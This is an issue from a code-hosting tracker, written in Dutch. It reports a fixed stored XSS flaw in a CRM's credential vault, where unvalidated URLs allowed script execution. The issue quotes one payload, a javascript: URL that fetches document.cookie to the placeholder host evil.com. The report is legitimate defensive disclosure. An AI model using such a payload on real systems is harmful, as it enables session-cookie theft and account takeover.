F-02: Stored XSS in wachtwoordkluis (javascript:-URL) #112
Labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
No due date set.
Dependencies
No dependencies set.
Reference
jesse-a/OpenCRM#112
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Severity: HIGH
Het
url-veld van een CustomerCredential werd niet gevalideerd. Een MANAGER kon een credential opslaan met URLjavascript:fetch('//evil.com?cookie='+document.cookie)— wanneer een andere user de kluis-pagina opende en op de link klikte, executed het script in de CRM-origin.Fix: server-side URL-validatie (alleen
http:///https://schemes);CredentialVault-component rendert oude/onveilige URLs nu als platte tekst i.p.v. klikbare link.Opgelost in commit
4d080f2.